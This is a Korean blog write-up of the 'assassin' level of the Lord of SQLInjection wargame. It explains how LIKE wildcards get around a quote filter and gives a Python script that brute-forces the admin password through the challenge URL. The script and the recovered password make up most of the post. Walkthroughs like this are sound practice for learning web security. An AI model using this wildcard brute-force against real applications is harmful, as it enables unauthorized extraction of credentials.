-
[LOS] assassinWargame/Lord of SQLInjection 2019. 7. 6. 01:33
[assassin] https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php
'가 필터링되어 있다.
따라서, length함수를 이용할 수 없다.
like를 사용할 때는 와일드 카드를 사용하여 길이와 값을 알아낼 수 있다.
[ 와일드 카드 ]
%, _
a% : a로 시작하는 임의의 문자열
%a% : a가 들어가는 임의의 문자열
a_ : a로 시작하는 두 글자의 문자열우선, %를 입력하여 쿼리문을 무조건 참으로 만들어보았다.
?pw=%
'Hello guest'가 출력된다.
데이터베이스에 guest의 값이 가장 위에 있기 때문에 이러한 결과가 나온다.
'의 필터링으로 인해 이전에 풀었던 것처럼 id=admin 으로 고정하여 pw를 찾을 수 없다.
따라서,
'Hello guest'가 출력되었을 때 해당 값이 admin의 값과 같을 수도 있다.
이점을 생각하여 python으로 소스를 짜보았다.
[ 소스 코드 ]
# !/usr/bin/env python import requests headers = {'Cookie': 'PHPSESSID=ma5i3h90poo98pbn76hib66gat;'} url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php' string = '1234567890abcdefghijklmnopqrstuvwxyz' pw = '' tmp_pw = '' get_len = '_' while True: data = '?pw=' + get_len r = requests.get(url + data, headers = headers) if r.text.find('Hello admin') != -1: length = get_len.count('_') break elif r.text.find('Hello guest') != -1: length = get_len.count('_') get_len += '_' if get_len.count('_') == 100: break print "[+] Get Password Length : ", length for i in range(1, length + 1): for j in string: data = '?pw=' + pw + j + '%' r = requests.get(url + data, headers = headers) if r.text.find('Hello admin') != -1: pw += j print "[*] Hello admin ... ", pw break elif r.text.find('Hello guest') != -1: tmp_pw = j if j == 'z': pw += tmp_pw print "[*] Hello guest ... ", pw print "[+] Found Password : ", pw
[ 실행 결과 ]
pw : 902efd10
?pw=902efd10
admin의 pw는 guest의 pw와 길이가 같고,
첫 번째, 두번째 글자가 90으로 동일하다.
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
[LOS] zombie_assassin (2) 2019.07.09 [LOS] succubus (0) 2019.07.06 [LOS] giant (0) 2019.07.05 [LOS] bugbear (0) 2019.07.05 [LOS] darkknight (0) 2019.07.05 댓글